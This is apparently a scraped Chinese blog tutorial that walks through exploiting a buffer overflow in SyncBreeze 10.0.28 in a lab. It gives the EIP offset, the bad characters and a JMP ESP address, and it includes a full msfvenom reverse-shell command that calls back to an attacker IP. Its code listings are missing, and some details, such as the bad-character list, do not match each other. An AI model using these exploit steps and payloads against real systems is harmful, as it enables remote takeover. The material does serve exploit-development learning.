如何进行Windows Buffer Overflow中的syncbreeze实战

这篇文免费云主机域名章将为大家详细讲解有关如何进行Windows Buffer Overflow中的syncbreeze实战，文章内容质量较高，因此小编分享给大家做个参考，希望大家阅读完这篇文章后对相关知识有一定的了解。kali虚拟机 kali-linux-2020.4-vmware-amd64win10虚拟机漏洞程序 syncbreezeent_setup_v10.0.28.exe注意，启动后需要在客户端勾选web server选项，并且不要勾选下面两个选项wireshark抓包原教程使用python2基于socket请求，以及靶机上通过immunity debugger观察寄存器以及栈的状态变化来fuzz。immunity debugger下载链接：ImmunityDebugger_1_85_setup.exe管理员身份运行，attach syncbrs进程后会自动暂停，F9继续运行执行上面socket_fuzz.py脚本，当发送完800字节的buffer后，debugger进入暂停状态，同时EIP被41414141覆盖。看到有同学尝试通过http请求超时来定位crash时候的buffer大小，回显更友好。根据机器环境略作修改，http_fuzz.py代码如下：个人觉得写fuzz和exp还是通过最原始的socket发送tcp请求交互更好，下文继续使用socket来发送tcp请求我们使用800字节的buffer,内容为kali下使用”msf-pattern_create -l 800″生成的每四个字节的chunk均不重复的字符串。locate_eip.py代码如下:debugger上定位到eip被42306142覆盖。如下图使用kali下的“sf-pattern_offset -l 800 -q 42306142”定位到EIP被覆盖的地址对应的偏移为780.同时注意到寄存器ESP的值被2Ba3Ba4B…覆盖，在栈中查看ESP存放的数据33614232，对应的偏移为788标准的反弹shell的payload大小大概为350-400字节，于是我们把buffer的大小从800扩大到1500字节。先验证下是否空间大扩大会造成原有的栈溢出环境的改变。代码如下：结合寄存器ESP的地址和栈中数值，发现每次栈溢出ESP的地址都不一样，但是指向内容偏移是固定的。也就是说ESP指向的内容，在buffer中的位置是固定的。这个位置可以作为shellcode的起始地址。缓冲区溢出在构造shellcode前要确定坏字符问题，防止传入的字符串被截断。我们将payload用0x01到0xff共256个16进制数值填充，并反复排查坏字符，知道所有16进制数值都被填充进缓冲区。代码如下：发送完后，在immunity debugger右键ESP，选择follow in dump后查看内存中的这段buffer的值。发现0x0A没有显示，说明它是个坏字符。在脚本里删除0x0A后继续重复这个动作，直到找到所有坏字符。最终坏字符为：0x00,0x0A,0x0D,0x25,0x26,0x3DJMP ESP的选择需要满足两个条件：一是lib库必须是静态库，避免ASLR的影响，SafeSEH,ASLR,NXCompat(DEP保护)等内存保护技术都是disabled。二是地址不应该包含坏字符，因为它将会作为我们buffer的一部分。shellcode可以存放在ESP地址所指向的内存空间，执行完后，程序将会执行ESP所指向的内存空间的代码，也就是我们的shellcode。因此，需要把EIP的值覆盖为JMP ESP这条指令的地址，JMP ESP对应的opcode为0XFFE4。通过kali自带的msf-nasm_shell可以获取。通过immunity debugger的!mona modules功能可以看到加载的lib库的内存地址，从里面挑选满足以上两个条件的，发现libspp合适。使用!mona find -s “xffxe4” -m “libspp.dll”得到JMP ESP的地址为0x10090c83,如下图所示：由于x86和amd64使用的是小端模式，内存中低地址存放低字节，高地址存放高字节。0x10090c83是一段内存地址，当它作为值写进内存，0x10将会放在高地址，0x83放在低地址，当它被CPU读取到EIP寄存器，CPU先读到0x83,最终读取的地址是反向的。所以我们应该反向的存储返回地址。总之一句话，当内存地址作为参数传入给寄存器的时候，要逆序传入。修改eip后的代码如下：在debugger的0X10090C83下断点，运行脚本后显示如下：使用kali自带的msfvenom,使用编码器shikata_ta_nai规避坏字符,使用EXITFUNC=thread来避免程序崩溃msfvenom -p windows/shell_reverse_tcp LHOST=192.168.67.148 LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b “x00x0ax0dx25x26x2bx3d”使用10个NOP（0X90）来规避解码器带来的栈顶附近的内存改写。代码如下：成功getshell使用工具总结：kali:wiresharkwindows:immunity debuggerkali:msf-pattern_create,msf-pattern_offsetpython:获取badchars:https://github.com/cytopia/badcharsdebugger插件mona:https//github.com/corelan/mona 放到C:Program Files (x86)Immunity IncImmunity DebuggerPyCommands下,命令为!mona modules, !mona find -s “xffxe4” -m “libspp.dll”kali:msf-nasm_shell, msfvenommsfvenom -p windows/shell_reverse_tcp LHOST=192.168.67.148 LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b “x00x0ax0dx25x26x2bx3d”关于如何进行Windows Buffer Overflow中的syncbreeze实战就分享到这里了，希望以上内容可以对大家有一定的帮助，可以学到更多知识。如果觉得文章不错，可以把它分享出去让更多的人看到。

相关推荐: Web安全中XSS Platform搭建及使用实践是怎样的

本篇文章为大家展示了Web安全中XSS Platform搭建及使用实践是怎样的，内容简明扼要并且容易理解，绝对能使你眼前一亮，通过这篇文章的详细介绍希望你能有所收获。XSS Platform 是一个非常经典的XSS渗透测试管理系统，原作者在2011年所开发，由…